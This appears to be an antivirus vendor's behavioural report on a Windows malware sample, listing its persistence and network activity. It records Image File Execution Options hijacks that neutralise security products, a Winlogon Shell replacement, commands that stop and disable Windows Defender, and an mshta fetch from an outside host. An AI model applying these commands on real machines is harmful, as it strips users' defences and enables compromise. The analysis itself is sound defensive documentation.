Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe] 'Debugger' = 'svchost.exe'
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%APPDATA%\Microsoft\jpgruh.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe] 'Debugger' = 'svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe] 'Debugger' = 'svchost.exe'
Malicious functions:
Executes the following:
- '%APPDATA%\Microsoft\jpgruh.exe'
- '<SYSTEM32>\net1.exe' stop msmpsvc
- '<SYSTEM32>\mshta.exe' "http://d5#########2ca28.pc-shield-online.com/favicon.ico?0=######################################################################################"
- '<SYSTEM32>\cmd.exe' /c del "<Full path to file>" >> NUL
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\sc.exe' config msmpsvc start= disabled
- '<SYSTEM32>\net.exe' stop msmpsvc
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
the following user processes:
- ecmd.exe
Modifies file system:
Creates the following files:
- %HOMEPATH%\Local Settings\<INETFILES>\Content.IE5\KHMHGZ4F\favicon[1].ico
- %APPDATA%\Microsoft\jpgruh.exe
Deletes itself.
Network activity:
Connects to:
- 'd5#########2ca28.pc-shield-online.com':80
- 'localhost':1037
TCP:
HTTP GET requests:
- http://d5#########2ca28.pc-shield-online.com/favicon.ico?0=######################################################################################
UDP:
- DNS ASK d5#########2ca28.pc-shield-online.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: ''
